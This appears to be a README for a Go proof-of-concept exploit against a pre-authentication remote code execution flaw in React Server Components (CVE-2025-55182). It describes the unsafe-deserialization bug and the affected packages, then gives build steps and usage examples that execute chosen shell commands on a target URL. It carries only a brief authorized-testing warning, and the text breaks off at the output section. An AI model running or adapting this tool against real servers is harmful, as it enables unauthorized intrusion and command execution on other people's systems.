
Exploit Code for React2Shell RCE vulnerability (CVE-2025-55182) affecting React Server Components 19.0.0-19.2.0. Exploits unsafe deserialization for unauthenticated remote code execution.
Proof of Concept (PoC) for React Server Components (RSC) / Next.js Remote Code Execution vulnerability.
A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
⚠️ WARNING: This tool is for authorized security testing only.
go build -o exploit exploit.go
Or run directly:
go run exploit.go
./exploit -u <URL> -c <command>
-u - Target URL (required)-c - Command to execute (default: id)# Basic usage
./exploit -u https://vulnerable -c "whoami"
# Execute different command
./exploit -u https://vulnerable -c "ls -la"
# Run directly with go
go run exploit.go -u https://vulnerable -c "pwd"

The tool outputs: